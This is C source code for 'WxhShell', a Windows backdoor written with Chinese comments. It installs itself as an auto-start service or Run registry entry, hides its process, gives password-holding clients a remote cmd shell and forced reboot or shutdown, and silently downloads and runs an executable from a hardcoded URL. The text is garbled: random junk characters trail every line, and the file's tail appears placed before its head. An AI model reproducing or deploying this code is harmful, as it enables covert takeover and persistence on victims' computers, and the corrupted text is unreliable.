    if(Boot(SHUTDOWN)) {E@@14]g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $<T)_g  
    else { 8_ju.h[  
    closesocket(wsh); kH{axMNc  
    ExitThread(0); 2o{Fp7l  
    } J]Y." hi  
    break; $3FFb#r  
    } bluC P|  
  // 获取shell IU3OI:uq  
  case 's': { dp+wwNe  
    CmdShell(wsh); w8>p[F5`O  
    closesocket(wsh); Yr[1-Oy/k  
    ExitThread(0); S6K aw  
    break; whvM^  
  } K34y3i_  
  // 退出 r$*k-c9Bf  
  case 'x': { U^Hymgb%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :y]l`Mo -  
    CloseIt(wsh); 'e0qdY`  
    break; 4(o0I~hpB?  
    } V_0e/7}Ya  
  // 离开 d~YDg{H  
  case 'q': { RN!oflb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rMLCt Gi  
    closesocket(wsh); EjvxfqPv  
    WSACleanup(); C[&L h_F\  
    exit(1); 0*h\/!e  
    break; I'J=I{p*  
        } utRvE(IbmV  
  } '0w'||#1  
  } Pbz-I3+66  
Lt=#tu&d  
  // 提示信息 !sfUrUu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qx$Yj  
} AnIENJ  
  } d(R3![:  
V .$<  
  return; l6a,:*_  
} 1G$kO90  
1\_4# @')  
// shell模块句柄 .wYx_  
int CmdShell(SOCKET sock) #2Mz.=#G  
{ >m%\SuXq  
STARTUPINFO si; >|H=25N>;  
ZeroMemory(&si,sizeof(si)); O{LWQ"@y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5 LXK#+Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c5^i5de  
PROCESS_INFORMATION ProcessInfo; _?`3zm4  
char cmdline[]="cmd"; mtmtOG_/=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \y#gh95  
  return 0; /.Gx n0  
} N CX!ss  
0=7C-A1(D  
// 自身启动模式 ^yjc"r%B  
int StartFromService(void) "l2_7ZXsPT  
{ 42 8kC,  
typedef struct CP/`ON  
{ En-eG37 l  
  DWORD ExitStatus; "7iHTV  
  DWORD PebBaseAddress; t~Ds)  
  DWORD AffinityMask; <86upS6  
  DWORD BasePriority; - C8 h$P  
  ULONG UniqueProcessId; 3v5]L3  
  ULONG InheritedFromUniqueProcessId; d v"  
}   PROCESS_BASIC_INFORMATION; ^MDBJ0 I.  
<-X)<k  
PROCNTQSIP NtQueryInformationProcess; Ku56TH!Py  
y}nM'$p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7@|(z:uw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i#&]{]}Qv  
X-6Se  
  HANDLE             hProcess; w,9$*=k  
  PROCESS_BASIC_INFORMATION pbi; + ECV|mkk  
Z'PL?;&+R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3-~_F*%ST  
  if(NULL == hInst ) return 0; C5 ^_R  
*+lnAxRa?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )xlNj$(x5n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l*xA5ObV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5qR76iH) /  
[t,grdw  
  if (!NtQueryInformationProcess) return 0;  NM  
<`~] P$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IcI y  
  if(!hProcess) return 0; hFyN|Dqhds  
u;J9aKD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `:?padZG  
!\RR UH*  
  CloseHandle(hProcess); "f3, w   
DV]Kd 7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _n Oio?  
if(hProcess==NULL) return 0; yEzp+Ky  
GVCyVt[!-  
HMODULE hMod; /$]dVvhX%  
char procName[255]; N y7VIh|  
unsigned long cbNeeded; g}L2\i688  
_QkU,[E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]l}8  
Xj?j1R>GB  
  CloseHandle(hProcess); *M6M'>Tin  
E!C~*l]wJx  
if(strstr(procName,"services")) return 1; // 以服务启动 C  `k^So)  
z2wR]G5!  
  return 0; // 注册表启动 rQ@,Y"  
} _dIv{L!  
o_X"+s  
// 主模块 ,`S"nq  
int StartWxhshell(LPSTR lpCmdLine) xGPt5l<M&  
{ 6n45]?  
  SOCKET wsl; e8--qV#<  
BOOL val=TRUE; >c;q IP)Z  
  int port=0; OfbM]:}<3  
  struct sockaddr_in door; `b# w3 2  
A!W(>  
  if(wscfg.ws_autoins) Install(); .ye5 ;A}  
Xp4pN{he  
port=atoi(lpCmdLine); xH; 4lw  
yngSD`b_P  
if(port<=0) port=wscfg.ws_port; rM_8piD  
f:=q=i  
  WSADATA data; 7?Xfge%\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mY |$=n5X  
& i)p^AmM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hXmW,+1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r#d~($[93  
  door.sin_family = AF_INET; *-Z JF6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $l0^2o=  
  door.sin_port = htons(port); ^Me__Y  
lH T?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W 29@`93  
closesocket(wsl); ft?J|AG  
return 1; [gqV}Y"Md  
} Q<wrO  
Ym2![FC1  
  if(listen(wsl,2) == INVALID_SOCKET) { l2X'4_d  
closesocket(wsl); *=UEx0_!q  
return 1;  G\ru%  
} k 32 Jz.\B  
  Wxhshell(wsl); '<4/Md[  
  WSACleanup(); Aum&U){yY  
,M5zhp$  
return 0; P)7SK&]r;=  
G# .z((Rj  
} 9p9:nx\  
cK1r9ED|  
// 以NT服务方式启动 j^Bo0{{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o~*% g.  
{ I[c/) N  
DWORD   status = 0; @m<xpe l  
  DWORD   specificError = 0xfffffff; OU/PB  
8%U+y0j6b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E}b" qOV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E&7U |$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _r?H by<b  
  serviceStatus.dwWin32ExitCode     = 0; mXAX%M U  
  serviceStatus.dwServiceSpecificExitCode = 0; Kj;Q;Ii  
  serviceStatus.dwCheckPoint       = 0; !c[?$#W4  
  serviceStatus.dwWaitHint       = 0; Kn?>XXAc  
+YI/(ko=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g;UB+Y 247  
  if (hServiceStatusHandle==0) return; p>Qzz`@e  
K_G( J>  
status = GetLastError(); <V5(5gx  
  if (status!=NO_ERROR) }} J?, >g  
{ &&nvv&a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v1oq[+  
    serviceStatus.dwCheckPoint       = 0; iT227v!s  
    serviceStatus.dwWaitHint       = 0; 0L S,(v4  
    serviceStatus.dwWin32ExitCode     = status; B8:G1r5G/  
    serviceStatus.dwServiceSpecificExitCode = specificError; &z+nNkr?yN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [U5[;BNRD  
    return; /q^)thJ~  
  } bqWo*>l  
-Wd2FD^x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZUyG }6)J  
  serviceStatus.dwCheckPoint       = 0; TwH%P2)x  
  serviceStatus.dwWaitHint       = 0; ~k^rIjR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;:4&nJ*qG  
} |-a5|3  
T~8==Z{[  
// 处理NT服务事件,比如:启动、停止 2!Yq9,`  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  Tvqq#;I  
{ #>i Bu:\J  
switch(fdwControl) ?x1sm"]p'  
{ Z-z^0QO  
case SERVICE_CONTROL_STOP: ]V0V8fU|  
  serviceStatus.dwWin32ExitCode = 0; }E0~'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2FU+o\1 %  
  serviceStatus.dwCheckPoint   = 0; = .a}  
  serviceStatus.dwWaitHint     = 0; wI8  
  { e=Ko4Ao2y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l25_J.e  
  } '9@S  
  return; VwvL  
case SERVICE_CONTROL_PAUSE: js;p7wi  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FjR/_GPo6  
  break; =z^ 2KH  
case SERVICE_CONTROL_CONTINUE: SQ'\Kd=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Z.'j7(tu  
  break; "AYm*R  
case SERVICE_CONTROL_INTERROGATE: -LzkM"  
  break; #N Qpr  
}; JYbsta  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |?v(?  
} uPCzs$R  
/Js A[}.6  
// 标准应用程序主函数 bpP-wA^Hd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I\e/ Bv^  
{ & pHSX  
@=_4i&]$  
// 获取操作系统版本 Db4(E*/pj!  
OsIsNt=GetOsVer(); 7[=\bL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m.F}9HI%hN  
\ SCi\j/a(  
  // 从命令行安装 TrCut 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y"H'BT!b}  
B7x( <!B  
  // 下载执行文件 s.|OdC>U =  
if(wscfg.ws_downexe) { CWBlDz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f$>KTb({B  
  WinExec(wscfg.ws_filenam,SW_HIDE); -al\* XDz  
} )[b\wrc   
=/5^/vwgY  
if(!OsIsNt) { =[JstiT?E  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;*%3J$T+  
HideProc(); 0oK_uY 4g  
StartWxhshell(lpCmdLine); 1X5MknA  
} 5ENU}0W  
else Bnp\G h  
  if(StartFromService()) 1.0:  
  // 以服务方式启动 ^>wlj  
  StartServiceCtrlDispatcher(DispatchTable); Mz7qC3Z  
else CdZ. T/x  
  // 普通方式启动 CCHGd&\Z  
  StartWxhshell(lpCmdLine); tm1#Lh0  
[][ze2+b  
return 0; shgZru  
} ^HhV ?Iqg  
~xLo0EV "  
a B$x(8pP@  
,(i`gH{D  
=========================================== BOfl hoUX  
' !2NSv  
7}1Z7"?  
K 0e*K=UM  
tWyl&,3?1  
enGZb&  
" (`&SV$m  
0"}=A,o(w  
#include <stdio.h> ."Kp6s`k  
#include <string.h> XuoyB{U  
#include <windows.h> B&QEt[=s  
#include <winsock2.h> w~C\5 i  
#include <winsvc.h> aX,6y1  
#include <urlmon.h> K=! C\T"I%  
Up1 n0  
#pragma comment (lib, "Ws2_32.lib") j[,XJ,5=  
#pragma comment (lib, "urlmon.lib") !hFzIp  
XRmE  
#define MAX_USER   100 // 最大客户端连接数 2:RFPK  
#define BUF_SOCK   200 // sock buffer \sAkKPI  
#define KEY_BUFF   255 // 输入 buffer 2:@,~{`#*  
s)jNP\-  
#define REBOOT     0   // 重启 mBxMDnh  
#define SHUTDOWN   1   // 关机 'rNLh3  
)<%CI#s#  
#define DEF_PORT   5000 // 监听端口 eiCmd =O7  
^RE[5h6^q  
#define REG_LEN     16   // 注册表键长度 O=eU38n:5u  
#define SVC_LEN     80   // NT服务名长度 n/Dg)n?  
 9mW   
// 从dll定义API *~~J1.ja>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %ikPz~(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s",G w]8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1LaJ hrp?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8`s*+.LI!  
n {\d  
// wxhshell配置信息 m70AWG  
struct WSCFG { HWIn.ij  
  int ws_port;         // 监听端口 2Jky,YLcb  
  char ws_passstr[REG_LEN]; // 口令 p-m\0tQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no gL~3z'$  
  char ws_regname[REG_LEN]; // 注册表键名 n!sOKw  
  char ws_svcname[REG_LEN]; // 服务名 ^F qs,^~W  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pc`)D:/}R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V*r/0|vd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z0x^HDAeC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vT MCZ+^g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Y&B63]B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o^/ fr&,9  
PZvc4  
}; belBdxa{"  
5R)IL 2~  
// default Wxhshell configuration Rqbz3h~  
struct WSCFG wscfg={DEF_PORT, 8QMMKO ui\  
    "xuhuanlingzhe", _>)@6srC  
    1, mM L B?I  
    "Wxhshell", A k~|r#@  
    "Wxhshell", [VLq/lg*  
            "WxhShell Service", ^$mCF%e8H  
    "Wrsky Windows CmdShell Service", I?nU+t;  
    "Please Input Your Password: ", Zl>wWJ3y  
  1, EiP N44(  
  "http://www.wrsky.com/wxhshell.exe", z:N?T0b(  
  "Wxhshell.exe" aK(e%Ed t"  
    }; Bio QV47B  
l: kW|  
// 消息定义模块 zlB[Eg^X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NG RXNh+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1d842pt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <WbO&;%  
char *msg_ws_ext="\n\rExit."; z =\ENG|x#  
char *msg_ws_end="\n\rQuit."; TwF.UL@G%  
char *msg_ws_boot="\n\rReboot..."; s'd\"WaQV  
char *msg_ws_poff="\n\rShutdown..."; [S-#}C?~  
char *msg_ws_down="\n\rSave to "; 9. ,IqnP  
1D2RhM%  
char *msg_ws_err="\n\rErr!"; !b+!] 2~g}  
char *msg_ws_ok="\n\rOK!"; nEP3B '+  
k nzo6  
char ExeFile[MAX_PATH]; ^jcVJpyT@R  
int nUser = 0; /!.]Y8yEH  
HANDLE handles[MAX_USER]; KU Mk:5 c  
int OsIsNt; l)~$/#k  
f+.sm  
SERVICE_STATUS       serviceStatus; Su[(IMw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; **oDQwW]*  
b7">IzAe  
// 函数声明 ~$rSy|19  
int Install(void); [jxh$}?P  
int Uninstall(void); 7VdxQ T  
int DownloadFile(char *sURL, SOCKET wsh); [\%a7ji#  
int Boot(int flag); Zlt,Us`  
void HideProc(void); T-iQ!D~  
int GetOsVer(void); _ /Eg_dQ~@  
int Wxhshell(SOCKET wsl); {qU;>;(  
void TalkWithClient(void *cs); %Na` \`L{F  
int CmdShell(SOCKET sock); ~]9EhC'l  
int StartFromService(void); s$lJJL  
int StartWxhshell(LPSTR lpCmdLine); DeeV;?:  
bj_/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PsS.lhj0"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YY$Z-u(  
ytb1hFs  
// 数据结构和表定义 @Jb-[W$*  
SERVICE_TABLE_ENTRY DispatchTable[] = f]C^{Uk#  
{ et(AO)uv6  
{wscfg.ws_svcname, NTServiceMain}, E8wkqZN  
{NULL, NULL} ?(}~[  
}; \C2HeA\#SW  
ttt4h  
// 自我安装 <^W5UU#Pg  
int Install(void) QF22_D<.}J  
{ JL<<EPC  
  char svExeFile[MAX_PATH]; mtw{7 E  
  HKEY key; r Cz,XYV  
  strcpy(svExeFile,ExeFile); C~nL3w  
LWN9 D  
// 如果是win9x系统,修改注册表设为自启动 Q )8I(*  
if(!OsIsNt) { ;RQ}OCz9}8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x cZF_elt7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5Q8s{WQ  
  RegCloseKey(key); #/_ VY.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u_8Z^T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *_HF%JYMZ  
  RegCloseKey(key); i'1 MZ%.  
  return 0; [l7n "gJ~  
    } Bo'v!bI7  
  } '!`]Zc  
} ,,Ivey!kL  
else { #>sI XY  
WZP1g kX&M  
// 如果是NT以上系统,安装为系统服务 vWL| vR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )@=fGNDt  
if (schSCManager!=0) ^oClf(  
{ |8)\8b|VuC  
  SC_HANDLE schService = CreateService O3#eQs  
  ( e+<9Sh7&  
  schSCManager, j6L(U~%  
  wscfg.ws_svcname, ~]n=TEJ>  
  wscfg.ws_svcdisp, 7?);wh7`  
  SERVICE_ALL_ACCESS, kE[R9RS!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XPnHi@x  
  SERVICE_AUTO_START, $s 'n]]Wq  
  SERVICE_ERROR_NORMAL, fP$rOJ)P  
  svExeFile, :-(qqC:  
  NULL, 2lqy<o  
  NULL, WSGho(\  
  NULL, ~)6EH`-  
  NULL, Y.#fpG'  
  NULL Y_~otoSoY  
  ); yW"[}L h4  
  if (schService!=0) g0-rQA  
  { h R6Pj"@0  
  CloseServiceHandle(schService); SzfMQ@~  
  CloseServiceHandle(schSCManager); HuQdQ*Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "98 j-L=F+  
  strcat(svExeFile,wscfg.ws_svcname); "^Y zHq6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dfZ`M^NU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |t~>Xs  
  RegCloseKey(key); @Qp#Tg<'  
  return 0; i)$<j!L  
    } #wZH.i #  
  } Qd>\{$N  
  CloseServiceHandle(schSCManager); ,lFp4 C  
} 9\0$YY%  
} MT$)A:"  
.1_kRy2*.  
return 1; yM,Y8^  
} 8# x7q>?  
b/ h#{'  
// 自我卸载 !/=.~B  
int Uninstall(void) r\)bN4-g  
{ S,Tc\}  
  HKEY key; KKWv V4u  
c@J@*.q]   
if(!OsIsNt) { Kx?8 HA[5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {<?8Y  
  RegDeleteValue(key,wscfg.ws_regname); &y(%d 7@/  
  RegCloseKey(key); :+"H h%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { II Amx[ b  
  RegDeleteValue(key,wscfg.ws_regname); ;uzLa%JQ  
  RegCloseKey(key); 2<n@%'OQp  
  return 0; N,3iSH=cN[  
  } u(\O@5a  
} $g/h=w@  
} sRqecG(n  
else { 0?dr(   
]'-y-kqY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (t@ :dW  
if (schSCManager!=0) ml /S|`Drk  
{ %$i}[ U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  Lw%_xRn)  
  if (schService!=0) TwI'XMO;A  
  { q'TIN{\.{  
  if(DeleteService(schService)!=0) { Ivj=?[c|  
  CloseServiceHandle(schService); 8m=O408Q  
  CloseServiceHandle(schSCManager); l5\V4  
  return 0; p@[ fZj  
  } z,4 D'F&  
  CloseServiceHandle(schService); G=SMz+z  
  } `uH7~ r^  
  CloseServiceHandle(schSCManager); tw&v@HUP  
} * ^V?u  
} 9%1J..c  
, 2xv  
return 1; =O-irGms*  
} y%spI/(  
e<[ ] W4"A  
// 从指定url下载文件 v+8Ybq  
int DownloadFile(char *sURL, SOCKET wsh) ~_c1h@  
{ I~&9c/&  
  HRESULT hr; ~QDM .5  
char seps[]= "/"; ]V_A4Df  
char *token; j<k6z   
char *file; qmt9J?$k  
char myURL[MAX_PATH]; :7mHPe }(  
char myFILE[MAX_PATH]; _SJ:|I  
9 <{C9  
strcpy(myURL,sURL); Pg{1'-  
  token=strtok(myURL,seps); {]Hv*{ ]  
  while(token!=NULL) X 8R`C0   
  { ^YropzHZ4E  
    file=token; q=V'pML  
  token=strtok(NULL,seps); CxZh^V8LP  
  } FROC/'  
|ns?c0rM  
GetCurrentDirectory(MAX_PATH,myFILE); ]JV'z<  
strcat(myFILE, "\\"); -]H~D4ng  
strcat(myFILE, file); > pP&/  
  send(wsh,myFILE,strlen(myFILE),0); -Ou.C7ol  
send(wsh,"...",3,0); Dfa3&# #{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]z/R?SM  
  if(hr==S_OK) #j=yQrJ  
return 0; lM{ fld  
else +a 1iZ bh  
return 1; x|(pmqIH+  
m<#12#D  
} %0N HU`j  
9|#cjHf  
// 系统电源模块 ]L7A$sTUQ  
int Boot(int flag) Np/\ }J&IF  
{ 9S*"={}%  
  HANDLE hToken; =4a:)g'  
  TOKEN_PRIVILEGES tkp; R]iV;j|  
Cul=,;pkB  
  if(OsIsNt) { X["xC3 i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (Y@T5-!D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2_+>a"8Y  
    tkp.PrivilegeCount = 1; }|Mwv $`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .t5.(0Xk[A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v#d\YV{I  
if(flag==REBOOT) { pB 8D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _wS=*-fT  
  return 0; r~j [Qm"CJ  
} _!@:@e)yB{  
else { aQtd6L+ J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7RL J  
  return 0; -HG .GA  
} :aej.>I0  
  } :^v Q4/,  
  else { !i^"3!.l,]  
if(flag==REBOOT) { iM)K:L7d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VAz4@r7hkq  
  return 0; a (~Y:v  
} 3SP";3+  
else { alaL/p{O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H@=oVyn/  
  return 0; 10Ik_L='  
} 3R+% C*7  
} L7-BuW}&  
P0,]`w  
return 1; >v.f H6P,}  
} / \w4k  
sFTAE1|  
// win9x进程隐藏模块 $nO~A7  
void HideProc(void) 7__[=)(b2X  
{ i/x |c!E  
Hd|[>4Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -G~]e6:zD  
  if ( hKernel != NULL ) [a2]_]E%  
  { [iub}e0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^l!SIu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /?'~`4!(  
    FreeLibrary(hKernel); e= IdqkJ%  
  } hCcI]#S&  
0K%okq|n  
return; k83K2> ]  
} !p&<.H_  
P%aqY~yF3  
// 获取操作系统版本 0)oh ab  
int GetOsVer(void) u}@N Qeg  
{ &B{zS K$N  
  OSVERSIONINFO winfo; D$hQ-K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7g\v (P  
  GetVersionEx(&winfo); TEz;:*,CG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 23gN;eD+m6  
  return 1; qVC+q8  
  else [ohLG_9  
  return 0; dk|LC-]`A  
} 8z`ZHn3=  
,a #>e  
// 客户端句柄模块 ,HZ%q]*:~  
int Wxhshell(SOCKET wsl) .4zzPD$1  
{ uy {O   
  SOCKET wsh; 0/R;g~q@  
  struct sockaddr_in client; ^ Ps!  
  DWORD myID; x%viCkq  
@xWWN  
  while(nUser<MAX_USER) L7rgkxI7k*  
{ KU|W85ye  
  int nSize=sizeof(client); Tb i?AJa}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZNBowZI  
  if(wsh==INVALID_SOCKET) return 1; JwSF}kNs}  
2;v:Z^&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R-Edht|{  
if(handles[nUser]==0) t "VT['8  
  closesocket(wsh); 9JA@m  
else rCPIz<  
  nUser++; jFN0xGZ  
  } cGV%=N^BE<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PuN L%D  
&>jz[3  
  return 0; xS|9Gk  
} Ae>+Fcv  
dmF=8nff  
// 关闭 socket VIAq$iu7  
void CloseIt(SOCKET wsh) IBa0O|*6  
{ x=DxD&I!J  
closesocket(wsh); >$m<R &  
nUser--; K#OL/2^ 5  
ExitThread(0); qyRN0ZB"A^  
} "@G[:(BoB<  
]9YA~n\  
// 客户端请求句柄 UT3Fi@  
void TalkWithClient(void *cs) @aS)=|Ls\  
{ rj=as>6B  
.z#eYn% d  
  SOCKET wsh=(SOCKET)cs; m,HE4`g  
  char pwd[SVC_LEN]; [c B^6v  
  char cmd[KEY_BUFF]; V(`]hH0;T  
char chr[1]; 38w^=" -T  
int i,j; fG0ZVV!   
}d%CZnY&7  
  while (nUser < MAX_USER) { xNIrmqm5]  
 ] 2 `%i5  
if(wscfg.ws_passstr) { 3q%z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hV@ N -u^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &2W"4SE]6  
  //ZeroMemory(pwd,KEY_BUFF); F(VVb(\jd  
      i=0; `4K|L6  
  while(i<SVC_LEN) { Wc@ ,#v  
]gBnzh.  
  // 设置超时 &PJ;B)b  
  fd_set FdRead; /si<Fp)z  
  struct timeval TimeOut; a_Xwi:e<  
  FD_ZERO(&FdRead); xKu#O H  
  FD_SET(wsh,&FdRead); 'HW l_M  
  TimeOut.tv_sec=8; %_|KiW  
  TimeOut.tv_usec=0; 6xDk3   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |Ahf 01  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~ky;[  
CU|E-XPW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LzL)qdL  
  pwd=chr[0]; L-(bw3Yr>  
  if(chr[0]==0xd || chr[0]==0xa) { LAC&W;pJ"  
  pwd=0; I0x)d`  
  break; 4`8s]X  
  } d92Z;FWb  
  i++; VJ\qp%  
    } ?kR1T0lKkE  
)h@PRDI_  
  // 如果是非法用户,关闭 socket (G F}c\=T7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {dxFd-K3  
} AE:(:U\  
s~{rC{9X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); },d^y:m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T^4 dHG-(  
jSpj6:@B  
while(1) { yP7b))AW9  
2-@)'6"n  
  ZeroMemory(cmd,KEY_BUFF); ^`!+7!  
"SN*hzs"]`  
      // 自动支持客户端 telnet标准   MiZ<v/L2  
  j=0; LM eI[Ji  
  while(j<KEY_BUFF) { f+9eB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  D_dv8  
  cmd[j]=chr[0]; e.vt"eRB  
  if(chr[0]==0xa || chr[0]==0xd) { LF7 }gQs ^  
  cmd[j]=0; [y8(v ~H  
  break; T'}kCnp  
  } d0B`5#4  
  j++; $9?:P}$v  
    } sl-wNIQ  
=Fc]mcJ69  
  // 下载文件 (eF[nfM  
  if(strstr(cmd,"http://")) { I8! .n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !:xycLdfUp  
  if(DownloadFile(cmd,wsh)) s=:)!M.i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _FOIMjh%N  
  else Dh4 Lffy  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B>1,I'/$.  
  } 3Iqvc v  
  else { AM=> P 7  
9ye!kYF,  
    switch(cmd[0]) { : j kO  
  d-b<_k{p  
  // 帮助 7HVENj_b+M  
  case '?': { =~JVU  
